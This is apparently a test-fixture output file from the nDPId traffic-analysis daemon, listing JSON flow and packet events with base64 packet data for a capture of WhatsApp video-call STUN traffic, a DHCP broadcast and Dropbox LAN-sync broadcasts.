+00576{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":381,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1561455781352,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"91.252.56.51","src_port":53688,"dst_port":32641,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00454{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455781,"pkt_ts_usec":879070,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIUTkAAEARFzzAqAIMATxOQNG46GMANHzbAAEAGCESpELHuuAP05RaI+J6URIACAAUsHZdEyJr5uObsKQa7DYbE4YCA9M="} +00454{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455782,"pkt_ts_usec":59394,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI8PwAAEARMsXAqAIMW\/w4M9G4f4EANE0kAAEAGCESpEKAWzwjt5VRcfVmBmsACAAUJw9zjdQvQsjy5FQih0Itb6wHKg0="} +00456{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455782,"pkt_ts_usec":574285,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIwHEAAEARqAPAqAIMATxOQNG46GMANGXPAAEAGCESpEIoM9pd\/2PDbhKoL1oACAAUvqQBu1i76V7zg0ib1\/6QLghtUUY="} +00455{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455782,"pkt_ts_usec":679175,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABINRkAAEAR7qjAqAIMW\/w4M9G4f4EANKRJAAEAGCESpEL4j9YAEpPJGTu3VCAACAAUGXORRrB48FGvPcJutSVccHGlcxM="} +00454{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":193737,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIsaMAAEARttHAqAIMATxOQNG46GMANHtxAAEAGCESpEIVyYRJkvEHQDbjhQYACAAUZX4tAsQf0pHGsCjjkogdi3Laxls="} +00455{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":298322,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIAp0AAEARISXAqAIMW\/w4M9G4f4EANIWbAAEAGCESpEK7pDhewrPJPGinrSwACAAUDjWxbcggz7kXknMp3MU9Yvs9ftw="} +00456{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":331681,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIi6YAADERpxtb\/DgzwKgCDH+B0bgANIC7AAEAGCESpELmDdRM\/MC6WEQIBDAACAAUFJ5Jo0QxW+Y3GOxMikLa0AFDz2E="} +00457{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":334612,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIJ4UAAEAR\/DzAqAIMW\/w4M9G4f4EANLqiAQEAGCESpELmDdRM\/MC6WEQIBDAACAAUXdG9xEvA2Brcy08x2LKzDxpWCwg="} +00455{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":404311,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI6JAAAEAROzHAqAIMW\/w4M9G4f4EANCUhAAEAGCESpEJH9o8VuDhceVAhx1gACAAUBSZjhaO52rmUAZOToD7idCnkrjk="} +00573{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":463718,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"kLkxKPrKxiwDYGpkCABFAACc7CoAADERRkNb\/DgzwKgCDH+B0bgAiGKskHgARgADjgDewLChdG8AAf\/7AABmRB+tC06YHsiSvC0690xmTdG43UbkvbVKm24SDMcXTh5fDRqY29F4RY1utVkKGlmN1U8BJ\/SgS1FK4nWnGOreSOe4OZB0n0mCMg\/XNFVgUZ7lgjoOpFZlngfgR2x5weOPz0cGs9bazVSMR0w="} +00455{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":490079,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIx8wAADERavVb\/DgzwKgCDH+B0bgANFdVAQEAGCESpEJH9o8VuDhceVAhx1gACAAUrjI3VijqSSmCw9QGLivT4E+6NiQ="} +00587{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":504448,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"xiwDYGpkkLkxKPrKCABFAAClXtwAAEARxIjAqAIMW\/w4M9G4f4EAkSZ2kHgATAAD+YABicwWdG8AAQA4AADIUTlT2xYC\/InWQVAPC7gNJO0tjLX7n2VB+H9d6x\/3VSjvddGWgBbzJRTseCL0rTq30Lw7ekR35POg\/9wyfOaJBLdfT40pPc5Is\/DxeJwnQ37939RE2kdN+rXtoZfOXX25Fju41UVVmFU7aS35OBfWzXNupgk="} +00564{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":505937,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"xiwDYGpkkLkxKPrKCABFAACWVlkAAEARzRrAqAIMW\/w4M9G4f4EAgq04gcgAEgGJzBZvDY6kmVL8yYiX+NpRuernioE+3xKnbwLsgQxR2sjavFH90QMlrwYqQVJf7oZEf4vo2ywv4V4gfTFmMZ7\/Q6Z2QFTquJDYWUMQj+GT4SiRJct6XSB10Zq7k7IS9NxCfGe6zTCngAAAC+dYfPfL1qimAuE="} +00535{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":526580,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"kLkxKPrKxiwDYGpkCABFAACCQkwAADER8Dtb\/DgzwKgCDH+B0bgAbpKikcgAEjqGnCfOmPLqca5RbqAPI0cyTAzyHd6ti+a0E+qi5eOJECU0aoizEIOar5+khoxsvZ3rjFR8phG58PA3NtAUG2HMDz+6NhS0CbyhbKVuDJxAMVff+YAAAATikAylI1LU4A5A"} +01582{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":530569,"pkt_caplen":913,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":913,"pkt_l4_len":879,"pkt":"xiwDYGpkkLkxKPrKCABFAAODgSAAAEARn2bAqAIMW\/w4M9G4f4EDbzFUkGYApAAWcC7DllpZ3r4AAjADYQAYcQNLSMZJYL\/mwplKg\/ctwVc8uYYYp2V7OAJsMSZ1Ldcm63NJ1MP479UvvN0ZOs216FbwYbcXUPqWRhBfMC8fdIUf8LkLadR9hC\/vi7REEaOfAlOmo2qeRIjXHa4F+iSI3iH28XitoVqw4jWjW3FpGB2yKJNN2lAPUV5evpCzlwbWMSIWeTl6bBRtSWTU6Bs8RagTqkKZW6VYGySidL3S2A\/VzYT+3HRQOGBZ8Q+j\/2u\/LvfN8jQmy212aOeDGjmxvTn60X4RKIToeIYhNJqVSpPDYb7tgnv2G4SfHA4R9GQKSim8iGti7M450vCi\/s8YR8meTvTLQ\/eLZ28zX+lbTcYhzVvc\/ZWOBNkfcTfuLaDban\/NOuGc\/GOGP0J3jZVcVen6Yhlv+nGeZVBIMZ4RJc\/Ml2I3eTfpWTOq5Bu9Tjw2r+CC4TPR9ir3scsQmfY0lzNc5CeP5aXMXC+1xoZjhHTM7gZM3DxtImhgcW2XAu6pSGiFfj1PL8AoJz78u5S+ajqY3MTGZZacl8iHZELjTHGaX5Ts7GVZ10ofHr3GWl2L2G3jAs14qHnRmnRxWhmK+xBT02B1dYttsJUCb6I1WtgjNtQKoW9KYxG+r+PtaEAMiUmXXj48\/9cfX3SlKKGkJNiaS8SR8q5boqnkpfGI+nfccH2h3tN5WslpCKDyK8EmI2OlNjZhlGiMl\/pp+lSfV7mB6nrost+gtEJQ+N8klsq9TjBG8XNDFnqSg8TBCY1VyBKRVNltvNpjUZJpenKyuXkPq27a4DHWZty\/qtH6AM2t00yZn6re9w5sgay4P2o1zSD65M2aTFEHMR4DxvDx6S5RkQR0B6H9WuvRXeFw7xPjJ9P3tpC65ZvDXY28BcK9EAiee3x5eR+sXKyN0fe18kKtX11rtiZl1cmg3jNDpZWKkyZd7n\/wv4mKl5\/0bNHhYblf3ufOt3+ApKdDkMix4OB7AelojsURVHwhTnoXl9TV92NPeM36la6cK9lkW3MxX5filaRmHToVM+hPTzSfaT8O8ylXLVJUkxwIKacRLWxaA8tW+dYzQcQpuG1aIOi3LPMnwDXeYtXRSBZZjX6Wnh\/KUDPAM8dGfl2R+nqRdVEYfGVFN\/ljv9crM8ySEvorRg=="} +01581{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":530708,"pkt_caplen":913,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":913,"pkt_l4_len":879,"pkt":"xiwDYGpkkLkxKPrKCABFAAODJ04AAEAR+TjAqAIMW\/w4M9G4f4EDb8nSkGYApQAWcC7DllpZ3r4AAjADYQAYcQNLy9ueWPtnuOyt17XctVY4UovtVp4EGepglY7HFaehxq+Q4xmcjz5qxJn0gNBG6vYi\/j+k8Elu8N9q0LtjAkaWu7BfinAgXiHGcaVWhSv7Z9Xx62VaBqerMvpDIZxiOFb75O+kvw7pz69wZaKqKnScU\/432Ne4n4QpSSLGwNMRDJciTPcUCXCGOsO+c6WzTVPebjVtbe4T7BLcgfCWJBjk3HhTyUVckVrSRx+DTpThgqWnHi0rnNhGcwAq3rvoFrbXCbvxkBKl+G7xyK20MK9SfJV7PNyJ3NR2\/mI0cx6onwqPm8uFgcHv5cd6592M6RURiEil9w79QLjqWLnMhZSivWEP8gUk8LSSQAv2t+wSgE\/4w9Yd90CXC2GW7iGYkr6D8A30ZIInxPkNFoFa\/\/viSFekbIIgFTT3NNyLhDRbKbDyGGhcYmkwyg2e+v5zkfpRO6\/moYOAtP89MzKybIvMdWOo4NaTBYoQ8XxU7A\/NaTowMwaiEXmjMM39CYckZZJctiNYcQY2bq\/bRPtSk17rFOwFv1pntTBDw\/jm96850gq4hl0m2fjW9et9SwA+Es8pYX8XDqBRIe4bSOEwU1mjN+u7LqcP\/5SRnjBVrYoeFWirCeOy8FUt2XuDkISyCKMppTKveheU+pItthDAQp+cY\/WuUwxFmBFcHjKcsiSTnaUC3Zcd8jD1Ss0xRkJMPjxOanU1lhdjgJQF6UA8IIwKQSbrni7ivBCtH239RIccdwYW\/E9H9EBykr62V\/rX3VvOWUPlM1nGmKy10ysG6QEasDRHcHmsVKPOgvdDbW4\/ndWmjTML6uJvUcTYMhWpoGQHI17IsVLDfxiO7Bwa1vUKOXb7moOy\/ARcJH8SUNw9l0VmKtoq5+9r0HEjclBQFThDtVLfEH2iOACrwV3IZV2DHips4+uLuA6uHoFnfOg\/XdDzVra7XjCJptQmyD9TjgfMDe8+pV0qE6klmqYDMXA8pO\/KioujLXWWZ9DHmDEN9uzJCEYGHJ1Y6xETtl3dKReprxkptHRniDZuXfQwnakh3X2iIXetfe99i9cLzU1fZmvLgcr0uKgHZ41hT6OXCSbVucQmwlgLPziWQklz5SgfeAy8XOcTifg5qDDnYvHoNA=="} +01578{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":530932,"pkt_caplen":913,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":913,"pkt_l4_len":879,"pkt":"xiwDYGpkkLkxKPrKCABFAAODqkkAAEARdj3AqAIMW\/w4M9G4f4EDb9mNkGYApgAWcC7DllpZ3r4AAjADYQAYcQNLF8GFzmwkQzxUghF+n2Toa2+dO9\/3yHVEvaZ8n8HS1OPwSOcj74V96tmZwPT\/RacuceVBkiQvMenD0QbiDi6IK4FxliINqnsELmXqORRxoh25iereny5buPZnUox6gp\/LPrbaNL+2ZRmpBHPYmGtREwH0nbwf7JvnDu+Sg747ixvRphhBJd7xF9NzlyP1NL5SAvqV73zoYHlKHcOGwtYokwgogrh7tdQWXerrjU0BBk8+C5RwcaMbCuNr4yY5pXgxP6ERteA5sgjumsoFawzJSrFAsEe4tQUeTKAQJGgOp\/ABKfwR+57a5KMh\/d\/U30+f9jtblDnkXTSgQs7Ez3dP6h5Jw559qsHG2JZ1Hb9EISiNLS6+3ptiAAy18CCOsciHF6RoHFypc+IA2Y+Uf7l70Mtq5xvLENV2Z2NEJ9Q4eCN4j+lYxbySYbSCnsbyK6du1LZyEGLbM5dOm9aYYuJqjhOnb8B5dRDTn+Kt+nCh0lFn93RH5A5\/7JlRd2FUROhLVjUPZwsoyvKXDUibwWiARoUgEk9Xr6a5+6HWBL+fyadc\/Bz\/jclkAcLnr3QIJF2\/vw7I+cZVwvEhJdDSAd0IPgq9892Wvg4rwDEMSfr6Ab+702w09tBMk5SIXnOPe0o5hCFxoZ3QL3SF2O5+BgkuG71tpH4R3GLVHY0iuHdHFPy4wm9Tf95nsNRZAWaqB4gd79kOrpXjbkaVxaEuHdP6W6ToM3IRWbMv2JnW8x\/76wwBmSLgYrPTOTwlxhCOe0\/++wsGCVoLY6l3XLu2bJSEz42+mnELPpViS6tBEoj\/HuUzsqPdWaiPkJGvAoAGx9CrNLICd7MNrxNRDvnRJ\/P2XaTXjGDufeNs+S5JpxbZfL6IJrqizgvbY7atBLV6He6Sftdcj0Kyw1dOjrPyFq4w1gdqSyaqEfqEijrvktYg7L4sr6Giuc4BVusVGE10SrgDeZrAudTSpRWXIlDxQUa3caMohEPAiN04Dl8JDEaB19r11RBoUOe9asFKvcamQiFIk4mjSq5W8TmuBkZx7E8t1eJO8TBWU3WJLRQ+1tzxQopFbQPFEBLishfhqWF8QALCoIIzi1VMfjAFPrngfviyV1ofqjqSxoZTx1jt\/ck2+w=="} +00454{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455783,"pkt_ts_usec":829036,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABICZUAAEARXuDAqAIMATxOQNG46GMANOSYAAEAGCESpELddkAJ1F+LPT0EgzwACAAUXmgJtoJkdYveryQNIL+PUoNUtYY="} +00454{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455784,"pkt_ts_usec":457517,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIZ10AAEARARjAqAIMATxOQNG46GMANCcnAAEAGCESpEIj3XkG8YKTfumrO2cACAAU6blUiL9REGgUrCAn+fBDik0yMhM="} +00455{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455785,"pkt_ts_usec":93770,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIAhwAAEARZlnAqAIMATxOQNG46GMANIOWAAEAGCESpELiTBMRfqfJFlAu70AACAAUETfw2Mz3GqSutzo\/jaGh5v\/ta3Q="} +00456{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455785,"pkt_ts_usec":727200,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI\/SoAAEARa0rAqAIMATxOQNG46GMANEXyAAEAGCESpELUGmRM4v14M3+SwVkACAAUtayjNCZzPKH53T\/nbmuRrjaNJtY="} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":905,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455780246,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455786,"pkt_ts_usec":352137,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIzVYAAEARmx7AqAIMATxOQNG46GMANF\/EAAEAGCESpEIZ4CVqeKeVT3p7HUAACAAU6Kbx\/jNowHL0MvzAfWa9g7vNcsE="} +00456{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455786,"pkt_ts_usec":971777,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIn+AAAEARyJTAqAIMATxOQNG46GMANAAbAAEAGCESpEJKPRR9wXq\/Tr8FSnUACAAUeIBw4gXxXCGcyc2sVr33kFFSLwk="} +00456{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455787,"pkt_ts_usec":614749,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIBh0AAEARYljAqAIMATxOQNG46GMANCDcAAEAGCESpEKJVb4NwlVAQm0FxDsACAAUuCOcZYtOcgJZwgV2vzy6J0EMZhM="} +00457{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1118,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455788,"pkt_ts_usec":238993,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI\/F0AAEARbBfAqAIMATxOQNG46GMANNfSAAEAGCESpEKvI2c39QUgFzVb5CEACAAUbZIeVdIs8jv1EYIMqW3zGOiTBF4="} +00458{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1178,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455788,"pkt_ts_usec":857123,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI\/V4AAEARaxbAqAIMATxOQNG46GMANAWBAAEAGCESpEL9J7xmYK5cDifcwVEACAAUqNPdEYZoQK\/V+H4fwJUlvZ8d4i4="} +00458{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1250,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455789,"pkt_ts_usec":484753,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIcg8AAEAR9mXAqAIMATxOQNG46GMANP1VAAEAGCESpEIva9dDDm4yI7yH5UoACAAU\/jrs9XS9h1GzkJiayrGB\/RlA7es="} +00456{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455790,"pkt_ts_usec":106267,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABImzcAAEARzT3AqAIMATxOQNG46GMANNL1AAEAGCESpEJXW7ZH0lh5LwkGSz4ACAAULT2Fd3ym5658dK6thlww0X1Ddqw="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1470,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1561455791449,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00863{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1470,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455791,"pkt_ts_usec":449110,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAFxMkoAAEARwOHAqAIBwKgC\/0RcRFwBXbU+eyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxNzQ1NjcxOTM5MjIwMTQ2OTg4Njg4NzAzNTEyMjAyNTg3OTI0NDMsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsyNzUwMzcwNTYwLCA3ODUyNjYxNzcsIDE1MjYyNjMwNDUsIDEzMzg2NTkyMDEsIDE0ODE5MzM3LCA0ODA5NDIwMDQ4LCA1MTE3MDY2NDIsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA0ODEwNTkxNzYwLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCAzMDc1NTIxNjk2LCA0MDU2NDYyNTkyLCAyOTYzNjgyMDk2LCAxNTIyMTc3NTg3XX0="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1470,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1561455791449,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00859{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1471,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455791,"pkt_ts_usec":449786,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAFvmCUAAEARWwjAqAIBwKgC\/0RcRFwBW7HJeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxNzQ1NjcxOTM5MjIwMTQ2OTg4Njg4NzAzNTEyMjAyNTg3OTI0NDMsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsxMTgyMzk1NTczLCAxNDIxMTE0Mzk5LCAxODA4MDQ3NjgwLCAxMzcyMDkyNjA5LCAxMjUyMTE2NDI5LCA5OTQ2OTc3MywgNTI1ODAwNzEyMCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNDUxNDcyNjU4LCA0MTc0NjUwODgwLCAyODUyMTYwNywgMTQxNTYyMDM1MF19"} 